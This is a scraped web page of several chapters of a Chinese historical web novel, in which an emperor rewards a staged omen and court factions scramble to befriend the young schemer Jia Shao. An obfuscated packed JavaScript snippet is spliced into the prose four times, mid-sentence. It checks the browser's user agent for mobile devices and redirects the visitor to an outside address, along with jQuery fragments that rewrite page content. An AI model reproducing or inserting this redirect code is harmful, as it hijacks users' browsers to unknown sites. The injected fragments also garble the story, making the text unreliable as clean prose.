昌涛叩谢皇恩,被搀扶下去。 皇帝看向跪满朝堂的百官,笑呵呵道:“首辅,和诸位爱卿,都起来吧。” 听到这话,百官狂喜。 皇帝和百官这场长达一年之久的冷战,终于结束了! 赞美昌涛! 首辅郑霞生站起来,适时道:“陛下,老臣提议,将孟津一事,昭告天下,以作表率!” “今日之前,数千流民汇孟津修河堤。今日之后,千千万万大梁官员百姓,帮扶陕西!有陛下做表率,大梁危机可解,陕西危机可解啊!” 嘉和皇帝点头:“准了。” 当日朝会结束。 孟津降下祥瑞一事被传出,引发天下各方轰动。 皇帝,朝堂,内阁,官场,民间,文坛,齐齐将目光,汇聚向陕西。 一场齐举国之力的浩荡救援行动,即将拉开帷幕! 天灾浩瀚无情,但有一人,聚大势,以抗之! 另一边。 孟津县令昌涛,得到了陛下的私下传唤。 昌涛内心一激灵:阁老果然算的很准!那就按照阁老说的,面圣后,狠狠夸赞贾邵先生吧! ? 148、我和我的皇帝笔友(上) 嘉和皇帝在朝堂上一直端着姿态。 等下朝后回到乾清宫寝殿他终于不再掩饰情绪爽朗笑出声。 因为此次‘孟津祥瑞’是属于他嘉和的‘帝王祥瑞’。 足以记录进史书里! 还是和大禹、武王、光武皇帝一起记录的那种! 这番漂亮功绩哪怕是万人之上的君主也很难顶住啊。 由罪己诏一事带来的憋闷愠怒彻底一扫而空。 如何不让嘉和皇帝龙心大悦? 司礼监太监在旁边泣声抹眼泪:“陛下许久没笑的这般舒畅了奴才瞧着真是打心眼儿里高兴。” 嘉和皇帝摆摆手接着似是想到了什么缓缓收起笑容:“朕交代你的事儿你可打探到了?” 司礼监太监闻言绷紧身体低声道:“回禀陛下奴才一下朝就去打探了。那孟津县令昌涛于昨日傍晚进京而后先去了郑阁老府上。” 嘉和皇帝眯起眼睛。 若是换成别的皇帝此事睁一只眼闭一只眼就过去了。 祥瑞到手便是好事。 但嘉和皇帝生性敏感多疑且热衷于和臣子们斗智斗勇把**斗争玩儿的出神入化。 他喜欢这个孟津祥瑞。 哪怕他知道此祥瑞多半是假的或者半真半假。 但若此事儿是郑霞生一手操办的 因此嘉和皇帝需要知道这究竟是怎么一回事儿。 昌涛昨夜进京会见了郑霞生。 今日一早郑霞生便巴巴来请他上朝。 此事若是没有猫腻鬼才信。 想到这里嘉和皇帝轻哼一声:“让昌涛来见朕。” 半盏茶功夫后。 昌涛低头恭敬走进乾清宫寝殿还未来得及下跪叩首。 一道蕴含着帝王怒意的声音骤然于寝殿里传出来:“混账东西!胆敢欺君罔上蒙骗君父!昌涛你可知罪?” 正所谓:雷霆雨露俱是君恩。 饶是有郑阁老提前点拨可等真经历这个场面昌涛还是吓得直哆嗦。 他扑通一声跪倒在 地,顾不得膝盖钻心般的疼痛,颤声道:“陛下,微臣对您一片赤诚,岂敢欺君罔上? 嘉和皇帝穿着一身道袍,衣袍甩动间,削瘦的身形显得格外仙风道骨。 但,当他缓缓自寝殿里走出的时候,带来的压迫感,足以让昌涛窒息。 昌涛跪在地上,不敢抬头。 “好一个一片赤诚。 嘉和皇帝站在阴影中,根本看不清表情,但声音却格外的冷:“那朕来问你,你自孟津来京,可有见过什么人? “又是谁指使你,将孟津祥瑞一事上报? “你,又是哪个政党的人啊? 三句话,一句比一句尖锐骇人。 这也能听得出,皇帝对朝堂党争一事,心知肚明。 亦或者—— 大梁王朝的党争,便是由嘉和皇帝一手挑起来的。 昌涛狠狠攥紧掌心,用尽了十二万分力气稳住心神,回道:“回禀陛下,微臣昨夜进京后,去见了郑阁老。 “臣无诏进京,心中实在惶恐,又担心殿前面圣失仪,耽误了祥瑞大事。因此,先将此事告知了郑阁老。 “阁老告诉微臣,这是天大的好事儿,让微臣不必担心。今日到了大殿,实话实说便好。 “祥瑞诞于孟津,微臣自发进京禀报,无人指使。 “微臣只心系陛下,不知政党。 还好,有郑阁老提前点拨。要不然,昌涛临场发挥,是绝无可能说出这番漂亮话的。 嘉和皇帝眯起眼睛,陷入思索。 昌涛这话,意思是:郑霞生不知祥瑞一事,更无可能一手操办祥瑞。 在这件事里,郑霞生无非是顺手推舟,递了个人情,传话过来让自己今日上朝,笑纳祥瑞。 但,此话真假参半,有几分可信? 嘉和皇帝沉默片刻后,决定诈一诈昌涛,哂笑道:“你在撒谎!你今年40岁,仍旧还只是个县令。 “若你真有这般通天本领,还至于一直窝藏在孟津那小地方?说,究竟是谁给你出的主意? 这,便是昌涛不敢隐瞒‘贾邵’的存在,独自揽功的重要原因。 他揽不下来。 没有那真本事,硬要打肿脸充胖子, 顷刻间便要完蛋。 因此,昌涛深吸一口气,说出了一个让嘉和皇帝惊愕的名字:“禀陛下,给微臣出主意的人,叫做贾邵。 贾邵? 那个瞬间,皇帝有片刻的凝滞。 他在脑海中翻遍满朝文武名讳,实在想不出,这贾邵是何人。 嘉和皇帝看向旁边候着的司礼监太监。 司礼监太监缓缓摇头。 这意思便是:朝堂上根本没有这一号人物。 嘉和皇帝的怒气,顿时消了一大半。 既不在朝堂,又并非郑霞生操办,大概率不涉及党争。祥瑞一事,不管真假,至少纯粹。 因此,嘉和皇帝语气缓和下来:“仔细将此事来龙去脉,说与朕听,不得有任何隐瞒。 显然,谈话到这里,昌涛算是过关了。 而司礼监太监,则是懂事的挥挥手,殿内侍从、宫女、太监、起居注官,全部悄然退了出去。 “是! 昌涛暗自松了口气,赶忙解释道:“月余之前,有数千陕西流民,陆续在孟津汇聚。微臣惶恐极了,生怕闹出事端。 “正在这时,一个叫做贾邵的人,递来一封字帖。那字帖上的字,实在令微臣惊艳心折,佩服不已。甚至以为,是当代书圣到了孟津。 哦? 嘉和皇帝起了兴趣:“什么字帖,可曾带来,让朕瞧瞧。 孟津县令便从怀中,取出贾邵的字帖,双手呈上。 嘉和皇帝翻开字帖,看着上面潇洒飘逸的字迹,目露惊艳,没忍住赞叹道:“果真好字!但,朕怎么不曾听说过,民间有‘贾邵’这样一位书圣? 昌涛道:“陛下未曾听说过贾邵,也正常,因为此人只有16岁,还未来得及传出名声。 16岁? 嘉和皇帝眼睛里浮现出一抹惊异。 如此年轻,便能写出这般好字,说一句‘天纵奇才’也不为过。 但这年轻少年郎,又为何给昌涛想出‘孟津祥瑞’的主意来呢? 嘉和皇帝开始好奇了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088439|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这人啊,一旦开始对另一个人产生好奇,就是‘沦陷’的开始。 皇帝也不例外。 昌涛继续道: “贾邵递来字帖后,还托人传来一句话,让微臣速速开仓赈粮。可微臣哪里敢啊?孟津之地虽小,却事关重大,决计不容出错。” “于是,微臣便命人,把那贾邵抓了起来。” “微臣一开始,有眼不识真才子,险些误了君父的大事,实在罪该万死。” 嘉和皇帝很聪明,从这几句话里,便琢磨明白了贾邵的用意。 他的眼睛亮了起来,甚至嘴角都悄然浮现出笑意。 哪怕心里有数了,嘉和皇帝仍旧想继续听下去,他不动声色道:“继续说。” 昌涛道:“进了牢狱后,贾邵命人给微臣又递了一张字条,上面写着:禹疏九河安天下,民筑千堤定孟津!” “微臣这才明白过来,自己有眼无珠,原是真正心系君父的旷世大才子,来了孟津!于是赶紧去狱中探望,赔罪。” 说罢。 昌涛又把那张字条呈上来。 这一波接着一波的,谁能顶得住? 皇帝看着那张字条,越看越觉得欢喜:“好一个:禹疏九河安天下,民筑千堤定孟津!这贾邵,年纪轻轻,便有如此眼光见识,更为难得的是,还对朕一片赤诚。” “倒是你,蠢货一个。” 昌涛惶恐道:“微臣确实愚蠢。到了狱中,那贾邵一身红衣,气度不凡,呵斥微臣:今陕西大旱,君父被刁难欺压,本就操劳疲累。” “尔作为孟津县令,竟不第一时间想着为君父分忧!一旦孟津动荡,君父该有多伤心?” “你还不速速进京,急君父之忧,上报祥瑞?” “可微臣胆小愚钝,哪里敢无诏进京?因此仍旧踌躇。” “但当天夜里,流民们修河堤之时,黄河鲤鱼纷纷跳上岸,微臣惊呆了。” “贾邵告诉微臣:祥瑞一事,乃上苍降下,彰显君父圣天子之仁德。再不速速进京汇报祥瑞,岂非无君无父之小人乎?” “因此,微臣便斗胆,忤逆律法,无诏进京面圣,汇报祥瑞。” 这个半真半假的故事,讲完了。 前朝之上讲述的故事版本里,祥瑞天降,乃国君之德;百姓赠鱼,乃市井温情。 此刻,补充版本里,将故事具象化,再次狠狠戳中了嘉和皇帝的心窝窝: 少年奇才,一片忠君赤诚。 圆满了! 一个年轻,聪慧,天纵奇才,有勇有谋,且心系君父的意气风发少年郎形象,正在嘉和皇帝脑海中缓缓勾勒成形。 这,正是他心目中,完美的臣子模样啊! “急君父之忧,好一个急君父之忧啊。” 嘉和皇帝朗声大笑,而后轻蔑道:“这满朝文武,整日高呼陛下万岁,却只顾着自家蝇头小利,为此汲汲营营。” “早就将君父忘于脑后,看不到君父被欺辱,实在可恶。” “好在,上苍待朕不薄,降下祥瑞。还有贾邵这样的年轻聪慧奇才,一心为君父分忧。” “朕又不糊涂,是忠是奸,朕一看便知!” ? 149、我和我的皇帝笔友(下) 乾清宫寝殿。 听闻皇帝一直在夸赞贾邵昌涛悬着的心终于落下。 这把稳了! 他跪着叩首道:“陛下乃天命所归之圣天子似贾邵这般良才我大梁有千千万皆心系君父。” “包括微臣虽不如贾邵之万一。但也倾尽所有愿为君父分忧。” 听到这话嘉和皇帝笑了笑不置可否道:“起来吧。” “谢陛下。” 昌涛缓缓恭敬起身。 嘉和皇帝并未让昌涛退下而是看向司礼监太监说道:“你去一趟内阁把首辅请来。” 祥瑞一事儿办的实在漂亮。 郑霞生借花献佛带领文武百官于朝堂上歌颂圣天子。 这个人情皇帝领了。 既领了人情那自然便要给些好处。 半盏茶不到的功夫。 郑霞生来到乾清宫正欲行礼。 嘉和皇帝摆摆手笑呵呵道:“首辅来了礼就免了。接下来陕西旱灾一事便交由李端去办吧。” 这是原本就定下的。 但郑霞生知道皇帝肯定不会无缘无故重复提起此事心中便有数了。 他恭敬道:“禀陛下老臣定会督促李端尽快解决陕西旱灾为陛下分忧。” 皇帝点点头似是随意道:“算算资历礼部尚书董彦也该到入阁的时候了。便让他来做次辅替你分担些压力吧。” “至于李端陕西旱灾事了之后回来任礼部尚书之职阁老以为如何啊?” 郑霞生脸上浮现出感激赶忙跪下:“老臣替李端谢陛下提携。” “起来吧。” 皇帝示意郑霞生起身而后看向昌涛:“还有朕的祥瑞县令你想要何奖赏?” 昌涛急切跪下:“微臣惶恐不敢要奖赏。愿前往陕西赈灾为陛下分忧。” 嘉和皇帝看向郑霞生。 郑霞生略作思忖:“汉中府有个空缺。” 昌涛心脏扑通扑通跳动若非在皇帝眼皮子底下他怕是都要笑出声来。 嘉和皇帝笑道:“既如此 从 县令到知府连升三级! 报一场祥瑞少走二十年弯路! 这又是谁的一辈子! “微臣多谢陛下!陛下万岁、万岁、万万岁!” 昌涛激动叩首鸣谢天恩。 心里想的却是:回去以后我一定要把贾邵先生给供起来! 嘉和皇帝摆摆手示意他们退下。 郑阁老和喜不自胜的昌涛一起走出乾清宫寝殿。 他们刚出去。 一位小太监便走了过来:“昌大人请留步。” 昌涛顿时停下。 郑霞生瞧着这一幕未发一言独自朝着内阁去了。 寝殿内。 嘉和皇帝看着手中贾邵写的字帖和那张对联字条神情带笑。 司礼监太监见他心情好凑趣道:“这贾邵实乃有福之人这般年轻便入了陛下的眼。可要奴才派人 嘉和皇帝笑骂道:“蠢货蠢货啊!你且记住水至清则无鱼这世间谁又能经得起彻查呢?” “让昌涛等一等你去取一柄玉如意交给他带回孟津赠予那贾邵。” 高高拿起轻轻放下。 深谙平衡之道的嘉和皇帝自然也懂何时该睁一只眼闭一只眼。 说到这里。 皇帝略作迟疑又道:“再……带封信并玉如意一起吧。” 信? 司礼监太监略作琢磨懂了。 只说带封信但又不说信上要写什么内容显然这是要送一封空白的信过去。 为何要送空白的信呢? 矜持的皇帝是希望送去空白的信来日收到贾邵写满‘拳拳心意’的信。 看得出来他是真的对这位聪慧少年郎格外满意。 否则也不会送一柄‘如意’。 更不会特地给贾邵一个‘和君父互通书信’的恩赐。 司礼监太监领命而去。 不久后。 玉如意和那封空白的信便送到了昌涛手中。 司礼监太监笑道:“昌大人切记要把陛下的心意亲自送到贾邵手里。告诉他日后若是有信要 送来京城,递给司礼监便是。” “有劳公公了。” 昌涛赶紧接下,内心发出没见过世面的惊叹。 原来,真正‘简在帝心’的才子,陛下会这般厚爱,又是送玉如意,又是写信。 自己连升三级,看似是‘祥瑞功臣’。 但真正的大功臣,在陛下心里啊! 这世间,能跟皇帝暗中有书信往来的,又有几人呢? 贾邵先生,未来绝对不可估量! 昌涛走了。 司礼监太监看着他的背影,若有所思。随后唤来一个贴身小太监,低声道:“将陛下同贾邵通信的消息,递给礼部尚书董彦。” 礼部尚书董彦,原首辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088440|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈秉的人。 陛下承了郑首辅的人情,把李端提作礼部尚书。 又把礼部尚书董彦,安排进内阁作次辅。 这帝王权衡之术,实在玩的炉火纯青。 而依附于皇帝的太监们,自然也有自己的‘平衡’生存之道。 司礼监太监想了想,又说道:“接下来,不管是郑阁老,还是礼部尚书董彦后面站着的那位,怕是都会去极力拉拢那贾邵。” “通知河南镇守太监,让他备一份厚礼,亲自送去孟津。” 一个未入朝堂,却能和陛下互通书信的人,实在太关键、太重要了。 他很有可能会成为某个变数。 还是各方势力都无法掌控的那种变数。 因此,司礼监太监率先选择,向贾邵示好。 不仅仅司礼监。 郑霞生回到内阁后,神情如常办公。 然而等返回府邸,他第一时间将李端喊来书房,眯起眼说道:“计划有变,董彦要入阁做次辅了。还有,陛下答应你从陕西回来后,担任礼部尚书之职。” 李端闻言,表情喜忧参半。 郑霞生揉了揉额角:“陛下对那贾邵的喜爱,有些出乎我的意料。若我没判断错的话,他准备跟贾邵私下建立联系。” “你找个信任的人,备一份厚礼,送去孟津吧。” “再给周雍去封信,让他打探一下,那贾邵究竟是何来路。” 李端闻言很是吃惊。 陛下跟贾邵建立私下联系?这得是多大的造化啊! 但,震惊过后,李端迟疑道:“咱们这么明晃晃去招揽,陛下若是知道了……” 郑霞生摇摇头:“正是明晃晃去招揽,才能证明,我们在祥瑞一事当中,毫无参与。所以跟贾邵并不认识,这是好事儿。” “而且……司礼监太监欠着那老东西的人情。贾邵的事儿,怕是很快就要传到那老东西耳中。以他的手段,定会选择去招揽贾邵。” “一个未入朝堂,便能搅弄风云,简在帝心,和陛下互通书信的少年郎,决计不能被他们招揽去了。” 郑阁老口中的‘那老东西’——自然指的是前首辅陈秉。 此时,满朝堂都在因孟津县令带来祥瑞一事,议论纷纷。 昌涛一战成名。 而背地里,一个叫做贾邵的少年郎,成为了各方政党眼中的香饽饽。 务必要将此人拉拢到自己阵营当中! ? 150、欲穷千里目,更上一层楼(上) 郑霞生在朝多年**嗅觉非常敏锐。 他猜测的没错。 当司礼监太监把贾邵的消息递给礼部尚书董彦后。 董彦第一时间给江西袁州府送了信。 当然江西路途遥远信件想要送到暂且还需要时间。 与此同时整个朝堂六部都开始忙碌起来。 次日早朝。 经由内阁提拟祥瑞县令昌涛临危受命被委任为汉中府知府协助李端去陕西赈灾。 满朝瞠目。 一口气接连升三级这昌涛当真是好大的造化啊! 而户部尚书则是配合内阁给祥瑞之地孟津 孟津的流民们终于不用挨饿了! 当然还有大量的银钱、粮食药草等即将拨去陕西。 三日后。 装满‘黄河鲤鱼’的孟津渔船抵达京城。 皇帝命御膳房做了一顿‘全鱼宴’并大赞黄河鲤鱼乃‘鱼中第一鲜’。 当天。 满朝文武凡是品级靠前的大人们都跟着陛下沾光分了几条黄河鲤鱼。 黄河鲤鱼一跃成为京中最受欢迎的食材。 商人们看到机遇拿着大把的银子瞄准了孟津瞄准了孟津黄河鲤鱼。 不过最受官场、民间、文坛瞩目的还是‘孟津祥瑞’。 圣天子仁德上苍降下祥瑞。 天佑我大梁啊! 等朝堂内阁把‘孟津祥瑞’的事迹昭告天下后。 各地官员纷纷响应号召: 以昌涛作表率愿为君父分忧为大梁分忧驰援陕西! 连文坛的读书人们都激情昂扬为陕西旱灾奔走游说官员接纳陕西流民以工代赈。 大梁王朝上下齐心帮扶陕西。 于是很多逃难离家的陕西流民惊喜的发现他们不再被嫌弃了。 不管走到哪里都有官府愿意收留愿意赈灾施粥棚。 就好似先前苦难的一年处处碰壁被驱赶忍受饥饿的悲惨经历是一场幻觉。 噩梦结束了。 他们,终于能活下去了。 感谢这场祥瑞! 另一边。 江西袁州,陈府。 前首辅陈秉,颤巍巍打开董彦送来的书信,神情复杂。 到底是失策了。 他本以为,借‘罪己诏’一事急流勇退,暂且让郑霞生顶上去,尝尝陛下的怒火。 不曾想才一年过去。 孟津祥瑞横空出世,润物细无声般,打开了君臣失和的死结。 郑霞生跟陛下有这个祥瑞情分在,未来两三年,他陈秉,估计都不会有回到朝堂的机会了。 而幕后操控这一切的,竟然是个16岁的年轻少年郎。 难怪,难怪陛下会这般欢喜,甚至要跟这位少年郎互通书信。 贾邵,简直就是陛下心目中‘贤臣’模样的典范啊! 虽说心情复杂,但陈秉苍老的眼睛里,又浮现出希冀的光芒。 若能把这贾邵收归麾下…… 但凡此人在跟陛下通信的时候,不着痕迹提一下自己,都能让自己再次回归朝堂啊! 而陈秉能想到的事情,郑霞生自然也能想到。 贾邵,一定会遭到各方拉拢、示好。 陈秉心中有了主意,对手底下的人说道:“速速写信,告知洛阳知府,让他以视察孟津的名义,宴请结交贾邵。” 而李端在赶往陕西赈灾之前。 给河南承宣布政使司参政送去了一封信:一万石救济粮,即将拨往孟津,你负责监察,务必确保粮食按时按量送达。并找合适的机会,结交贾邵。 除此之外。 河南镇守太监,也接到了‘结交贾邵’的信件。 朝堂之内事件已了。 朝堂之外,一场关于‘争夺贾邵’的纷争,正式打响了! · 孟津。 自县令昌涛进京后,时间一点点流逝。 眨眼间,便是二十多天过去。 四月来临,距离洛阳赏花文会,还有不足半月。 昌涛一直没回来。 孟津县开仓赈粮这么久,粮食马上就要被掏空。 不管城内,还是城外,氛围都越发紧绷。 反岘同盟的三位首领,齐怀明、阮修德,严思远,急的抓耳挠腮。 不仅他们仨,其余反岘同盟的人,也越发沉不住气。 这群小黑粉,日日来孟津县衙后院,围着贾邵转悠。 一是反复央求贾邵,加入反岘同盟,做他们的领袖。 二是反复担忧:孟津祥瑞,真的能成吗?万一昌涛不顶用,把贾邵先生的安排搞砸了怎么办? 可别连累到我们反岘同盟的新任领袖啊! 崔岘不理会这帮黑粉。 他每日在县衙悠闲度日,偶尔有闲情逸致的时候,还去鸿雁楼顶看黄河,姿态格外气定神闲。 看得严思远等人眼冒星光,崇拜极了:真不愧是我们的领袖啊! 这般姿态,就问还有谁! 当然,崔岘也不是毫无作为。 比如他在昌涛进京的第二天,给老师东莱先生去了一封信,内容大概是这样的: 老师,小号声望值要刷爆了,求帮忙隐藏! 昌涛是在四月初三回到孟津的。 他风尘仆仆进入县衙,连一口水都来不及喝,赶紧去见贾邵先生。 当时。 反岘同盟的一帮黑粉,仍旧在围着崔岘‘摇尾巴’。 瞧见昌涛回来,严思远第一个急切问道:“大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088441|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你总算是回来了,结果如何?” 一帮黑粉们,都急急看向昌涛。 连崔岘都抬起头来。 在众人震撼的注视下。 昌涛对着贾邵长鞠一躬,激动道:“幸不辱命!先生果真神机妙算!孟津祥瑞一事,马上就会传唱天下!” “陛下龙心大悦,文武百官振奋,朝堂君臣一片和睦。各地方响应号召,帮扶陕西。” “陕西有救了!” “户部的一万石粮,正在拨往孟津的路上,孟津流民也有救了!” “孟津黄河鲤鱼名声大噪,大量商贾马上就会赶来,收购孟津鲤鱼。” “而我,即将要奔赴陕西汉中,任知府,协助李大人赈灾。” “因先生这一计,整个大梁上下齐心,共度危机!先生,您才是凭借一己之力,力挽狂澜,救济我大梁于水火之中的治世奇才啊!” “我,替大梁百姓,谢先生救命之恩!” 对贾邵先生行的这一礼,昌涛是发自内心的。 这位年轻少年郎,不仅对自己有知遇之恩,还为天下百姓,做出了不可忽视的贡献! 县衙后院一片安静。 严思远等人怔怔失声。 虽然早就预料到,事情会是这个走向,可真等得到结果的时候,仍旧觉得震撼。 而今日,震撼可远远不止这一点。 几乎是在昌涛回来,说完这番话的前后脚功夫。 县衙外面,传来三道洪亮的唱名声。 “河南承宣布政使司参政柳大人,诚邀贾邵先生,前往鸿雁楼赴宴!” “河南镇守太监徐公公,诚邀贾邵先生,前往鸿雁楼赴宴!” “洛阳知府赵大人,诚邀贾邵先生,前往鸿雁楼赴宴!” 嘶! 听闻这三个宴请贾邵之人的身份,严思远等人齐齐倒抽冷气。 他们僵硬转过身,用崇拜、叹服的眼神,看向贾邵。 崔岘心中隐约有了猜测,但却佯装疑惑不解:“我并不认识这三人,缘何要宴请我?” 昌涛笑了。 在严思远等人彻底呆傻、被震撼到头皮发麻的注视下。 便见昌涛从怀里,小心翼翼掏出一柄玉如意,和一封信,双手托起。 而后看向贾邵,颤声说道:“贾邵先生,这是陛下,让我代为转赠予您的玉如意,和一封信。” “外面那三位,想来是收到风声,提前来拉拢您的。” 哗! 陛下亲赠! 天啊! 严思远等人激动的脸色涨红,简直快要晕厥过去了! 真不愧是我们反岘同盟的领袖。 太牛逼了,太优秀了,太完美了! 贾邵,你是我们的神! ? 151、欲穷千里目,更上一层楼(中) 孟津县衙,后院。 在严思远等小黑粉们,神魂颠倒崇拜的注视下。 崔岘自昌涛手中,接过玉如意,和那封信。 他将玉如意收入怀里,而后打开信封,表情有片刻的错愕—— 空白的。 但很快,崔岘便明白了嘉和皇帝的意思。 到底是封建时代的九五至尊,一国君主。 哪怕心中再怎么欣赏某个人,也不会轻易过多去表达出来,丢失君王风范。 所以,皇帝选择送了一封空白的信过来。 他想用这种方式,和‘贾邵’建立联系,然后期待‘模范贤臣贾邵’的回信。 问题是。 一个是万人之上的君主。 一个是江湖乡野的少年。 个中身份差距,犹如天堑。 那这封回信,要写什么内容呢? 洋洋洒洒写一大堆赞美君父的‘告白书’?啧,过于直白谄媚。 估计皇帝看完以后,转头就腻了,忘了,没兴趣了。 亦或者话一话家常,故作‘松弛感’,拉近关系? 但,这是第一封信啊,双方尚且没熟络到这种地步。 话家常,不仅会显得逾矩,而且……也彰显不出个人魅力。 既然借‘孟津祥瑞’一事,误打误撞,和皇帝建立了联系,崔岘自然不能放过这个跟‘未来最高领导’亲近的好机会。 可‘拍领导马屁’也是个技术活儿。 就比如现在‘领导’递过来一封空白的信,没点道行,你都不知道该怎么回。 更值得警惕的是,领导或许只是随意递过来一封信,他自己都不知道,自己想看的回信内容是什么。 然而很显然,领导一定知道,自己不想看到什么。 这就有些犯难。 有办法解决吗? 有的。 崔岘略作思索,笑了。 刚好,院子外面那三位,联袂来邀请他,去鸿雁楼赴宴。 这就是个很合适的契机啊。 一场‘祥瑞’,一位‘少年贤臣’,让皇帝对孟津,产生了无限的好感,和好奇心。 哪怕是帝王,也会想对自己的‘祥瑞之地’多一些了解啊。 是以,回信的内容,最好就要以‘介绍孟津’为主。 那孟津有什么呢? 黄河畔,一座高百尺的巨楼——鸿雁楼。 陛下,您坐拥天下,却一生困顿于紫禁城里。 您想见一见,波涛汹涌滚滚流逝的黄河吗? 您想见一见,矗立于黄河畔,您的孟津福地,那座高百尺的巍峨鸿雁楼吗? 那我这第一封回信—— 便送您一首《登鸿雁楼》吧。 江山社稷一词,何其虚幻缥缈。 但没关系。 看到《登鸿雁楼》后,您这祥瑞江山—— 从此便有了真实感。 您没走出过紫禁城? 那,就让我来做您的眼睛,我来替您书写,您这大好江山吧。 崔岘拿着那封信,心里捋清楚了思路,脸上的笑意越发灿烂。 昌涛、以及反岘同盟的一帮小黑粉们,眼巴巴的看着,不敢吭声打扰。 他们还以为,皇帝给贾邵先生写了‘表彰信’,所以贾邵看的美滋滋呢! 皇帝亲自写信赞扬! 这是何等的荣耀啊! 将那封空白信收起,崔岘看向昌涛,笑道:“有劳大人,告知外面三位,今日傍晚,我自会去赴宴。 昌涛赶紧说道:“好,请先生去沐浴更衣,届时我陪先生一起过去。且当饯行告别。盖因明日,我便要赶往陕西赴任了。 一口气连升三级,昌涛如今,绝对属于大梁王朝最炙手可热的‘**新星’。 因此,他更得小心行事,万万不能被人抓到把柄,毁了自己的大好前程。 尽快去陕西赴任,才是明智之选。 崔岘回到卧房沐浴。 先前他穿着的那身红衣,早已被县衙的仆从们清洗妥当。 因此,不到半个时辰的功夫。 一位尽显年轻恣意的红衣翩翩少年郎,自卧房里推门走出来。 昌涛已经在提前等着了。 严思远等小黑粉们,瞧见贾邵这番如琢如玉的扮相,眼冒星光。 贾邵,简直就 是为他们反岘同盟量身定制的‘领袖’啊! “先生请。 一身县令官袍的昌涛,半点不敢摆架子,而是恭敬请贾邵先行。 崔岘朝他笑着点点头:“一起吧。 但昌涛仍旧执意走在前方,为贾邵领路。 外面已经提前备好了奢华马车,应该是宴请贾邵的那三位‘大佬’贴心准备的。 孟津县令拱手开道。 洛阳知府、河南镇守太监、河南承宣布政使司参政热情相邀。 谁看了不得赞叹一句‘公子世无双’? 严思远等小黑粉们激动不已,虽未被邀请,但纷纷决定,去跟着凑热闹。 另一边。 鸿雁楼外,今日可谓是格外热闹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088442|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>且格外让百姓们震惊瞠目。 因为,一位正四品的知府,一位从三品的承宣布政使司参政,和一位位高权重的太监,齐齐站在楼外,似乎是在殷切等待什么人! 老天! 这得是何等尊贵的身份,才能让这三位一起联袂宴请啊! 事实上,这三位大人也是在暗中咬牙。 他们当然想私下请贾邵,可三方虎视眈眈,又同时打听到贾邵最近似乎经常来鸿雁楼看黄河。 于是最后三人达成共识:一起宴请吧! 至于贾邵最后愿意倒去哪一方,大家各凭本事! 将近傍晚的时候,一辆奢华马车,来到鸿雁楼外。 孟津县令先下了车,而后恭敬道:“先生,咱们到了。 在周围无数道百姓倒抽冷气的惊艳注视下。 一位年轻俊俏的红衣少年郎,施施然走下马车。 能被孟津县令昌涛尊称一句‘先生’的,除了贾邵,还能有谁? 河南镇守太监徐宁最先反应过来。 他殷切向前走了几步,露出和煦笑容,声音略显尖锐浮夸:“哎哟,想来这便是贾邵先生了?今日一见,果真一表人才,名不虚传~呐! 没卵子的玩意儿,真是不值钱! 洛阳知府赵恒心中不屑,但却暗搓搓大步上前,越过太监徐宁,热络看向贾邵,笑道:“贾邵先生,我是洛阳知府赵恒! “久仰先 生大名,今日总算是见到**了。” 而河南承宣布政使司参政柳冲,也不甘其后,笑眯眯走过来,同贾邵热情问好:“贾邵先生,我乃河南承宣布政使司参政柳冲。” “今日先生肯赏脸大驾光临,实在令柳某倍感荣幸!盖因我柳某人,早就想结交先生了!” 嘶! 看到这三位大佬热络到近乎卑微的姿态,周围百姓齐齐倒抽冷气,震撼呆滞看向贾邵。 这位年轻少年郎,究竟是谁? 孟津什么时候来了一位叫做‘贾邵’的大佬? 为何此前从未听过这个名讳? 对于周围百姓们的大惊小怪,太监徐宁,知府赵恒,参政柳冲不以为然。 且不提贾邵本事通天,还能跟陛下通书信。 就算无法把贾邵拉拢到自己的政党,也要殷切私下结交啊! 走了狗屎运,被随手赠一场祥瑞,连升三级的昌涛,便是最好的案例。 徐宁三人自然要放下身段,眼巴巴来结交贾邵。 因为—— 他们也超想进步的! ? 152、欲穷千里目,更上一层楼(下) “徐公公,赵大人,柳大人。” 